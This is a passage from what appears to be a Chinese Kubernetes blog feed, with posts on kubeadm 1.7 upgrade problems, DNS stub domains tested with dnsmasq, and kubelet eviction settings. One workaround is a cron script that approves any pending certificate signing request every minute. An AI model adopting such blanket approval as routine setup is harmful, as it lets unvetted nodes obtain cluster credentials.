&lt;p&gt;本来做这玩意的初衷就是，Kubeadm 和 Kubernetes 是一家人，升级比较方便跟得住。未曾想第一次大版本升级，就遇到了个不大不小的坑，导致安装无法完成。这个 Issue 会在 1.7.1 修补，下面介绍一下曲线救国的安装方式。&lt;/p&gt;

&lt;p&gt;这一问题的似乎是 kubeadm 的更新破坏了 TLS 自动授权过程造成的，具体症状是：主节点的 &lt;code&gt;kubeadm init&lt;/code&gt; 完成之后，在其他节点上使用 &lt;code&gt;kubeadm join --token=xxxx host_ip:host_port&lt;/code&gt; 命令加入集群时，集群会反复输出错误信息，大意是 &lt;code&gt;kube-public&lt;/code&gt; 命名空间中名为 &lt;code&gt;cluster-info&lt;/code&gt; 的 ConfigMap 中没有对应 token 的签署记录。&lt;/p&gt;

&lt;p&gt;使用 kubectl 查看该 ConfigMap，和 1.6.6 的集群作对照（是的，安装的够快，想要什么版本都容易），发现 1.7.0 里面这个 ConfigMap 的元素列表确缺少这一块内容。&lt;/p&gt;

&lt;p&gt;既然如此，看样子手工签署也是要不少工夫，干脆转头使用上一版本（1.6.6）的 kubeadm，使用指定版本的方式来安装 1.7.0 的集群。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubeadm init&lt;/code&gt; 过程会顺利完成，然而在 &lt;code&gt;kubeadm join&lt;/code&gt; 过程中，会卡在 &lt;code&gt;CSR&lt;/code&gt; 阶段，经过翻查文档，1.7.0 的自动授权方式有变化，废弃了原有的根据 Group 自动通过的开关，一不做二不休，在 Playbook 的 Master Role 中新建一个 Cron Job，每分钟执行一次如下命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
TOKEN=`kubectl get csr | grep csr | grep -i pending | cut -f1 -d &amp;quot; &amp;quot; | head -n 1`
if [[ -n &amp;quot;$TOKEN&amp;quot; ]]; then
  kubectl certificate approve $TOKEN
  echo &amp;quot;CSR: $TOKEN had been approved.&amp;quot; &amp;gt;&amp;gt; /var/log/auto_approval.log
else
  echo &amp;quot;CSR not found.&amp;quot; &amp;gt;&amp;gt; /var/log/auto_approval.log
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;简单说就是获取在途的 CSR，进行 Approve。
这样在后面的节点进行加入的时候，主节点会每分钟进行一次 Approve，在所有节点成功加入之后，调用 Cleanup 角色，禁用这一功能即可。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;最后，Github 不建议在版本库中存放二进制文件，这里我将所有二进制文件集中到了根目录的 &lt;code&gt;files&lt;/code&gt; 目录下，要顺利使用这一脚本，一定要在 Release 页面中下载相应的压缩包来使用。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>kubeadm 踩坑记</title>
      <link>/post/kubeadm-traps/</link>
      <pubDate>Tue, 27 Jun 2017 08:14:05 +0800</pubDate>
      <guid>/post/kubeadm-traps/</guid>
      <description>&lt;p&gt;Kubeadm 是个让我爱恨交加的东西，一方面，我不认为一个生产集群应该使用这样一个第三方工具进行在线安装，尤其是在目前这种网络环境之下；而另外一方面，Kubeadm 这一工具是随 Kubernetes 同步更新的，其中包含了大量的集群配置方面的最佳实践，是追新的最佳参考，所以这个讨厌的东西的运行是必须需要得到保障的。kubeadm 的执行过程沉默到令人发指，因此下面分享几个使用过程中遇到的一些问题和解决的思路和方法，希望对同行们有所帮助。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;下面的例子是基于 kubeadm 1.6.6 + Centos 7 的执行过程记录的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;写入 yum repo 并进行安装之后，利用 &lt;code&gt;systemctl enable kubelet&lt;/code&gt; 启用 kubelet 服务之后，只要运行一下 &lt;code&gt;systemctl daemon-reload&lt;/code&gt;即可，这一服务的启动需要 kubeadm 生成的证书和配置文件等的支持，因此无需进行启动。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubeadm init&lt;/code&gt;过程首先会检查代理服务器，确定跟 kube-apiserver 的 https 连接方式，如果有代理设置，会提出警告。&lt;/li&gt;
&lt;li&gt;接下来会对 sysctl 进行检查，我这里需要执行 &lt;code&gt;sysctl net.bridge.bridge-nf-call-iptables=1&lt;/code&gt; ，对这一参数进行调整，解决他的警告。&lt;/li&gt;
&lt;li&gt;接下来进入最抓狂的一个等待时间，屏幕显示为&lt;code&gt;[apiclient] Created API client, waiting for the control plane to become ready&lt;/code&gt;，这一过程中会遇到大多数的坑，我一般会另外启动一个连接或者 tmux 窗口，进行观察和除错：

&lt;ul&gt;
&lt;li&gt;这里已经做好运行 kubelet 服务的准备，因此这一时间内，我们可以利用&lt;code&gt;systemctl statusl -l kubelet&lt;/code&gt;对服务的启动状况进行检查，目前比较容易遇到的是 kubectl 和 docker 两个服务的&lt;code&gt;cgroup-driver&lt;/code&gt;不一致的问题，这里编辑文件&lt;code&gt;/etc/systemd/system/kubelet.service.d/10-kubeadm.conf&lt;/code&gt;，修改这一参数值为跟 docker 一致的&lt;code&gt;cgroupfs&lt;/code&gt;即可。&lt;strong&gt;这一步可以在 kubeadm init 之前执行完成&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;kubelet 启动之后，会尝试运行系统组件的 Pod，这里我们可以通过观察&lt;code&gt;docker images&lt;/code&gt;的镜像列表来观察是否能够顺利进行下载。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;镜像下载完成之后就会开始运行各个系统组件，因此也是事故最为集中的阶段&lt;/strong&gt;，我们可以使用&lt;code&gt;docker ps&lt;/code&gt;、&lt;code&gt;docker logs&lt;/code&gt;、&lt;code&gt;docker inspect&lt;/code&gt;几个命令，逐个查看组件的运行情况，对失败组件的原因进行排除，之前提过的&lt;code&gt;resolv.conf&lt;/code&gt;的故障就是在这一阶段发现并排除的。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>实测：Kubernetes 1.6 中的混合 DNS</title>
      <link>/post/kubernetes-dns-ex/</link>
      <pubDate>Sat, 03 Jun 2017 08:39:03 +0800</pubDate>
      <guid>/post/kubernetes-dns-ex/</guid>
      <description>

&lt;p&gt;在之前的文章中提到过，Kubernetes 1.6 新增的混合 DNS 功能。这一功能不大，但是在企业私有云环境下有着非常重要的衔接作用，能够有效的将 Kubernetes 内的应用和集群外甚至互联网上的的 Consual 或者类似系统管理的服务连接起来，形成更好的协同效果。&lt;/p&gt;

&lt;p&gt;上篇文章主要侧重点是概念和一些 YAML 例子，本文则会从操作出发，用一个例子从头到尾的逐步操作这一功能的具体操作。&lt;/p&gt;

&lt;h2 id=&#34;dns-server&#34;&gt;DNS Server&lt;/h2&gt;

&lt;p&gt;我们使用一个 Ubuntu Server 运行 dnsmasq 来担任 Kubernetes 集群外的 DNS 服务器角色，只为了满足测试需要的话，就不需要太复杂的配置了。&lt;/p&gt;

&lt;h3 id=&#34;安装&#34;&gt;安装&lt;/h3&gt;

&lt;p&gt;具体安装步骤如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;#!/bin/sh
# 安装 dnsmasq
apt install dnsmasq
# 停止自动启动的 dnsmasq 服务
systemctl stop dnsmasq
# 生成一个 Host 文件并写入一条记录
echo &amp;quot; 114.114.114.114 server.out-of.kubernetes&amp;quot; &amp;gt; /tmp/hosts
# 显示 IP
ifconfig
# 启动 DNS 服务
# -d 用 debug 模式启动，在前台运行
# -q 输出查询记录
# -h 不使用 /etc/hosts
# -R 不使用 /etc/resolve.conf
# -H 使用刚才生成的文件作为 dns 记录
dnsmasq -q -d -h -q -R -H /tmp/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样，我们就启动了一个 DNS 服务器，并且可以直观的看到其工作状况如下：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;dnsmasq: started, version 2.76 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC lo
op-detect inotify
dnsmasq: warning: no upstream servers configured
dnsmasq: bad address at /tmp/hosts line 1
dnsmasq: read /tmp/hosts - 0 addresses
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;kubernetes-配置&#34;&gt;Kubernetes 配置&lt;/h2&gt;

&lt;p&gt;前文说过，我们需要用一个 Configmap 对象来让 Kubernetes 应用新的 DNS 解析配置，这里我们简单的新建一个存根域，就是上文提到的 &lt;code&gt;out-of.kubernetes&lt;/code&gt; 域名，让其使用我们前面安装的 DNS 服务器进行解析，其他域名则使用 &lt;code&gt;8.8.8.8&lt;/code&gt; 和 &lt;code&gt;8.8.4.4&lt;/code&gt; 这一公共 DNS 解析。配置情况如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: kube-dns
  namespace: kube-system
data:
  stubDomains: |
    {&amp;quot;out-of.kubernetes&amp;quot;: [&amp;quot;10.140.0.5&amp;quot;]}
  upstreamNameservers: |
    [&amp;quot;8.8.8.8&amp;quot;, &amp;quot;8.8.4.4&amp;quot;] 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;利用 &lt;code&gt;kubectl apply -f&lt;/code&gt; 命令使之生效。&lt;/p&gt;

&lt;p&gt;注意：系统可能缺省带有这一 configmap，因此需要用 apply 进行操作，建议使用 &lt;code&gt;kubectl get configmap kube-dns -o yaml --namespace kube-system&lt;/code&gt; 进行复查。&lt;/p&gt;

&lt;h2 id=&#34;测试-pod&#34;&gt;测试 Pod&lt;/h2&gt;

&lt;p&gt;这里使用一个 Alpine Linux 的镜像作为测试工具：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: tester
spec:
  containers:
  - name: alpine
    image: alpine
    imagePullPolicy: IfNotPresent
    command: [&amp;quot;sleep&amp;quot;]
    args: [&amp;quot;3600&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;测试 Pod 运行之后，可以使用&lt;code&gt;kubectl exec -it tester sh&lt;/code&gt;命令进入 Pod开始测试。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在 Pod 的 Shell 中我们可以尝试执行 &lt;code&gt;ping server.out-of.kubernetes&lt;/code&gt;，会看到返回了我们写入在 Hosts 中的地址，在 DNS 服务器端，也会看到相关的查询记录。&lt;/li&gt;
&lt;li&gt;如果 ping 其他的主机名，则会返回正常的结果。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes（1.6）中配置私有 DNS 区域以及上级域名服务</title>
      <link>/post/upstream-dns-in-kubernetes/</link>
      <pubDate>Sat, 03 Jun 2017 01:43:33 +0800</pubDate>
      <guid>/post/upstream-dns-in-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2017/04/configuring-private-dns-zones-upstream-nameservers-kubernetes&#34; target=&#34;_blank&#34;&gt;Configuring Private DNS Zones and Upstream Nameservers in Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;很多用户都有自己的域名区域，并且希望能够集成到 Kubernetes DNS 的命名空间去。例如混合云用户可能希望能在集群内解析他们内部的 “.corp” 。其他用户用户可能有一个受&lt;strong&gt;非 Kubernetes&lt;/strong&gt;管理的服务发现系统（例如 Consul）。我们在 Kubernetes 1.6 中推出了新功能，kube-dns 添加了可配置的私有 DNS 区域（通常称为存根域）以及外部的上级域名服务，本文将会讲解如何使用这一功能。&lt;/p&gt;

&lt;p&gt;Kubernetes 目前在 Pod 定义中支持两个 DNS 策略：&lt;code&gt;Default&lt;/code&gt;和&lt;code&gt;ClusterFirst&lt;/code&gt;，&lt;code&gt;dnsPolicy&lt;/code&gt;缺省为&lt;code&gt;ClusterFirst&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;如果&lt;code&gt;dnsPolicy&lt;/code&gt;设置为&lt;code&gt;Default&lt;/code&gt;，那么域名解析配置会从 Pod 所在节点继承而来。注意，本文所述功能在&lt;code&gt;dnsPolicy&lt;/code&gt;设置为&lt;code&gt;Default&lt;/code&gt;时无效。&lt;/li&gt;
&lt;li&gt;如果&lt;code&gt;dnsPolicy&lt;/code&gt;设置为&lt;code&gt;ClusterFirst&lt;/code&gt;，DNS 查询会被发送到 kube-dns 服务。kube-dns 服务负责相应以集群域名为后缀（例如&lt;code&gt;.cluster.local&lt;/code&gt;）的查询。其他的域名查询（例如 www.kubernetes.io ）会被转发给来自节点定义的上级域名服务器。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在这一功能推出之前，通常需要利用替换上级 DNS 为自定义解析的方式来完成存根域查询。然而这就使得这个自定义域名解析器成为 DNS 解析过程中的一个高风险因素。本功能让用户能够无需对整个 DNS 路径进行改造就完成自定义解析过程。&lt;/p&gt;

&lt;h2 id=&#34;自定义-dns-流程&#34;&gt;自定义 DNS 流程&lt;/h2&gt;

&lt;p&gt;从 Kubernetes 1.6 开始，集群管理员能够利用 ConfigMap 指定自定义的存根域以及上级 NameServer。下文的配置包含一个存根域和两个上级域名服务器。对域名后缀为&lt;code&gt;.aceme.local&lt;/code&gt;的查询会被发送到地址为 1.2.3.4 的 DNS 服务。另外会把 Google 公共 DNS 作为上级服务器。注意本节末尾对 ConfigMap 中的数据格式进行的解释。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: v1
kind: ConfigMap
metadata:
  name: kube-dns
  namespace: kube-system
data:
  stubDomains: |
    {&amp;quot;acme.local&amp;quot;: [&amp;quot;1.2.3.4&amp;quot;]}
  upstreamNameservers: |
    [&amp;quot;8.8.8.8&amp;quot;, &amp;quot;8.8.4.4&amp;quot;]

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下图显示了配置中所指示的 DNS 查询过程。当&lt;code&gt;dnsPolicy&lt;/code&gt;设置为&lt;code&gt;ClusterFirst&lt;/code&gt;时，DNS 查询首先被发送到 kube-dns 的 DNS 缓存层。从这里开始检查域名后缀，然后发送到指定的 DNS。在本例中，集群后缀的域名（&lt;code&gt;.cluster.local&lt;/code&gt;），被发送到 kube-dns，最后不符合上面后缀的其他查询被转发到上级 DNS 去进行解析。&lt;/p&gt;

&lt;p&gt;下文表格用来说明域名解析的过程：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;域名&lt;/th&gt;
&lt;th&gt;解析服务&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;kubernetes.default.svc.cluster.local&lt;/td&gt;
&lt;td&gt;kube-dns&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;foo.acme.local&lt;/td&gt;
&lt;td&gt;自定义 DNS（1.2.3.4）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;widget.com&lt;/td&gt;
&lt;td&gt;上级 DNS（8.8.8.8 和 8.8.4.4）中的一个&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;configmap-配置说明&#34;&gt;ConfigMap 配置说明&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stubDomains&lt;/code&gt; (可选)

&lt;ul&gt;
&lt;li&gt;格式：一个 JSON 编码的 Map 格式，其 Key 为 DNS 后缀（也就是&lt;code&gt;acme.local&lt;/code&gt;），值是一个 JSON 数组，代表一组 DNS IP。&lt;/li&gt;
&lt;li&gt;注意：目标域名服务器也可以是 Kuernetes 服务。例如可以用 dnsmasq 把自定义 DNS 导出到 ClusterDNS 的命名空间中。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;upstreamNameservers&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;格式：一个 DNS IP 组成的 JSON 数组。&lt;/li&gt;
&lt;li&gt;注意：如果指定了这个值，那么从节点的 &lt;code&gt;/etc/resolv.conf&lt;/code&gt; 继承过来的值就会被覆盖。&lt;/li&gt;
&lt;li&gt;限制：最多可以指定三个。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;例-1-添加一个-consul-dns-存根域&#34;&gt;例 1：添加一个 Consul DNS 存根域&lt;/h2&gt;

&lt;p&gt;这个例子中，用户希望把 Consul DNS 服务集成到 kube-dns。Consul 服务位于&lt;code&gt;10.150.0.1&lt;/code&gt;，所有的 consul 命名后缀都是&lt;code&gt;.consul.local&lt;/code&gt;。Kubernetes 管理员简单的创建一个&lt;code&gt;ConfigMap&lt;/code&gt;对象就可以完成。注意：本例中管理员不想覆盖节点的上级 DNS 定义，所以不需要指定&lt;code&gt;upstreamNameservers&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: kube-dns
  namespace: kube-system
data:
  stubDomains: |
    {&amp;quot;consul.local&amp;quot;: &amp;quot;10.150.0.1&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;例-2-替换上级-nameserver&#34;&gt;例 2：替换上级 Nameserver&lt;/h2&gt;

&lt;p&gt;这个例子中，集群管理员希望所有的集群外 DNS 查询由&lt;code&gt;172.16.0.1&lt;/code&gt;的服务来完成，同样的用一个 ConfigMap 完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: kube-dns
  namespace: kube-system
data:
  upstreamNameservers: |
    [&amp;quot;172.16.0.1&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>针对资源紧缺处理方式的配置</title>
      <link>/post/kubernetes-resource-evict/</link>
      <pubDate>Thu, 01 Jun 2017 19:25:48 +0800</pubDate>
      <guid>/post/kubernetes-resource-evict/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/&#34; target=&#34;_blank&#34;&gt;Configure Out Of Resource Handling&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如何在资源紧缺的情况下，保证 Node 的稳定性，是 Kubelet 需要面对的一个重要的问题。尤其对于内存和磁盘这种不可压缩的资源，紧缺就相当于不稳定。&lt;/p&gt;

&lt;h2 id=&#34;驱逐策略&#34;&gt;驱逐策略&lt;/h2&gt;

&lt;p&gt;Kubelet 能够监控资源消耗，来防止计算资源被耗尽。一旦出现资源紧缺的迹象，Kubelet 就会主动终止一或多个 Pod 的运行，以回收紧俏资源。当一个 Pod 被终止时，其中的容器会全部停止，Pod 状态会被置为  &lt;code&gt;Failed&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;驱逐信号&#34;&gt;驱逐信号&lt;/h3&gt;

&lt;p&gt;下文中提到了一些信号，kubelet 能够利用这些信号作为决策依据来触发驱逐行为。描述列中的内容来自于 Kubelet summary API。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;驱逐信号&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;memory.available&lt;/td&gt;
&lt;td&gt;memory.available := node.status.capacity[memory] - node.stats.memory.workingSet&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;nodefs.available&lt;/td&gt;
&lt;td&gt;nodefs.available := node.stats.fs.available&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;nodefs.inodesFree&lt;/td&gt;
&lt;td&gt;nodefs.inodesFree := node.stats.fs.inodesFree&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;imagefs.available&lt;/td&gt;
&lt;td&gt;imagefs.available := node.stats.runtime.imagefs.available&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;imagefs.inodesFree&lt;/td&gt;
&lt;td&gt;imagefs.inodesFree := node.stats.runtime.imagefs.inodesFree&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;上面的每个信号都支持整数值或者百分比。百分比的分母部分就是各个信号的总量。kubelet 支持两种文件系统分区。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;nodefs&lt;/code&gt;：保存 kubelet 的卷和守护进程日志等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;imagefs&lt;/code&gt;：在容器运行时，用于保存镜像以及可写入层。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;imagefs 是可选的。Kubelet 能够利用 cAdvisor 自动发现这些文件系统。Kubelet 不关注其他的文件系统。所有其他类型的配置，例如保存在独立文件系统的卷和日志，都不被支持。&lt;/p&gt;

&lt;p&gt;因为磁盘压力已经被驱逐策略接管，因此未来将会停止对现有 &lt;a href=&#34;http://kubernetes.io/docs/admin/garbage-collection/&#34; target=&#34;_blank&#34;&gt;垃圾收集&lt;/a&gt; 方式的支持。&lt;/p&gt;

&lt;h3 id=&#34;驱逐阈-yù-音同-预-值&#34;&gt;驱逐阈（yù，音同“预”）值：&lt;/h3&gt;

&lt;p&gt;一旦超出阈值，就会触发 kubelet 进行资源回收的动作。阈值的定义方式如下：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;eviction-signal&amp;gt;&amp;lt;operator&amp;gt;&amp;lt;quantity&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;上面的表格中列出了可用的 &lt;code&gt;eviction-signal&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;仅有一个 &lt;code&gt;operator&lt;/code&gt; 可用：&lt;strong&gt;&amp;lt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;quantity&lt;/code&gt; 需要符合 Kubernetes 中的描述方式。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如如果一个 Node 有 10Gi 内存，我们希望在可用内存不足 1Gi 时进行驱逐，就可以选取下面的一种方式来定义驱逐阈值：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;memory.available&amp;lt;10%&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memory.available&amp;lt;1Gi&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;驱逐软阈值&#34;&gt;驱逐软阈值&lt;/h4&gt;

&lt;p&gt;软阈值需要和一个宽限期参数协同工作。当系统资源消耗达到软阈值时，这一状况的持续时间超过了宽限期之前，Kubelet 不会触发任何动作。如果没有定义宽限期，Kubelet 会拒绝启动。&lt;/p&gt;

&lt;p&gt;另外还可以定义一个 Pod 结束的宽限期。如果定义了这一宽限期，那么 Kubelet 会使用 &lt;code&gt;pod.Spec.TerminationGracePeriodSeconds&lt;/code&gt; 和最大宽限期这两个值之间较小的那个（进行宽限），如果没有指定的话，kubelet 会不留宽限立即杀死 Pod。&lt;/p&gt;

&lt;p&gt;软阈值的定义包括以下几个参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;eviction-soft&lt;/code&gt;：描述一套驱逐阈值（例如 &lt;code&gt;memory.available&amp;lt;1.5Gi&lt;/code&gt; ），如果满足这一条件的持续时间超过宽限期，就会触发对 Pod 的驱逐动作。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eviction-soft-grace-period&lt;/code&gt;：包含一套驱逐宽限期（例如 &lt;code&gt;memory.available=1m30s&lt;/code&gt;），用于定义达到软阈值之后，持续时间超过多久才进行驱逐。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eviction-max-pod-grace-period&lt;/code&gt;：在因为达到软阈值之后，到驱逐一个 Pod 之前的最大宽限时间（单位是秒），&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;驱逐硬阈值&#34;&gt;驱逐硬阈值&lt;/h4&gt;

&lt;p&gt;硬阈值没有宽限期，如果达到了硬阈值，kubelet 会立即杀掉 Pod 并进行资源回收。&lt;/p&gt;

&lt;p&gt;硬阈值的定义：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;eviction-hard&lt;/code&gt;：描述一系列的驱逐阈值（比如说 &lt;code&gt;memory.available&amp;lt;1Gi&lt;/code&gt;），一旦达到这一阈值，就会触发对 Pod 的驱逐，缺省的硬阈值定义是：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&amp;ndash;eviction-hard=memory.available&amp;lt;100Mi&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&#34;驱逐监控频率&#34;&gt;驱逐监控频率&lt;/h3&gt;

&lt;p&gt;Housekeeping interval 参数定义一个时间间隔，Kubelet 每隔这一段就会对驱逐阈值进行评估。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;housekeeping-interval&lt;/code&gt;：容器检查的时间间隔。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;节点状况&#34;&gt;节点状况&lt;/h2&gt;

&lt;p&gt;Kubelet 会把驱逐信号跟节点状况对应起来。&lt;/p&gt;

&lt;p&gt;如果触发了硬阈值，或者符合软阈值的时间持续了与其对应的宽限期，Kubelet 就会认为当前节点压力太大，下面的节点状态定义描述了这种对应关系。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;节点状况&lt;/th&gt;
&lt;th&gt;驱逐信号&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MemoryPressure&lt;/td&gt;
&lt;td&gt;memory.available&lt;/td&gt;
&lt;td&gt;节点的可用内存达到了驱逐阈值&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;DiskPressure&lt;/td&gt;
&lt;td&gt;nodefs.available, nodefs.inodesFree, imagefs.available, imagefs.inodesFree&lt;/td&gt;
&lt;td&gt;节点的 root 文件系统或者镜像文件系统的可用空间达到了驱逐阈值&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Kubelet 会持续报告节点状态的更新过程，这一频率由参数 &lt;strong&gt;&amp;ndash;node-status-update-frequency&lt;/strong&gt; 指定，缺省情况下取值为 &lt;strong&gt;10s&lt;/strong&gt;。&lt;/p&gt;

&lt;h3 id=&#34;节点状况的波动&#34;&gt;节点状况的波动&lt;/h3&gt;

&lt;p&gt;如果一个节点的状况在软阈值的上下波动，但是又不会超过他的宽限期，将会导致该节点的状态持续的在是否之间徘徊，最终会影响降低调度的决策过程。&lt;/p&gt;

&lt;p&gt;要防止这种状况，下面的标志可以用来通知 Kubelet，在脱离压力状态之前，必须等待。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eviction-pressure-transition-period&lt;/code&gt; 定义了在跳出压力状态之前要等待的时间。&lt;/p&gt;

&lt;p&gt;Kubelet 在把压力状态设置为 False 之前，会确认在周期之内，该节点没有达到逐出阈值。&lt;/p&gt;

&lt;h2 id=&#34;回收节点级别的资源&#34;&gt;回收节点级别的资源&lt;/h2&gt;

&lt;p&gt;如果达到了驱逐阈值，并且超出了宽限期，那么 Kubelet 会开始回收超出限量的资源，直到驱逐信号量回到阈值以内。&lt;/p&gt;

&lt;p&gt;Kubelet 在驱逐用户 Pod 之前，会尝试回收节点级别的资源。如果服务器为容器定义了独立的 imagefs，他的回收过程会有所不同。&lt;/p&gt;

&lt;h3 id=&#34;有-imagefs&#34;&gt;有 Imagefs&lt;/h3&gt;

&lt;p&gt;如果 nodefs 文件系统到达了驱逐阈值，kubelet 会按照下面的顺序来清理空间。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;删除死掉的 Pod/容器&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果 imagefs 文件系统到达了驱逐阈值，kubelet 会按照下面的顺序来清理空间。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;删掉所有无用镜像&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;没有-imagefs&#34;&gt;没有 Imagefs&lt;/h3&gt;

&lt;p&gt;如果 nodefs 文件系统到达了驱逐阈值，kubelet 会按照下面的顺序来清理空间。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;删除死掉的 Pod/容器&lt;/li&gt;
&lt;li&gt;删掉所有无用镜像&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;驱逐用户-pod&#34;&gt;驱逐用户 Pod&lt;/h2&gt;

&lt;p&gt;如果 Kubelet 无法获取到足够的资源，就会开始驱逐 Pod。&lt;/p&gt;

&lt;p&gt;Kubelet 会按照下面的标准对 Pod 的驱逐行为进行评判：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;根据服务质量&lt;/li&gt;
&lt;li&gt;根据 Pod 调度请求的被耗尽资源的消耗量&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来，Pod 按照下面的顺序进行驱逐：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;BestEffort&lt;/code&gt;：消耗最多紧缺资源的 Pod 最先失败。&lt;/li&gt;
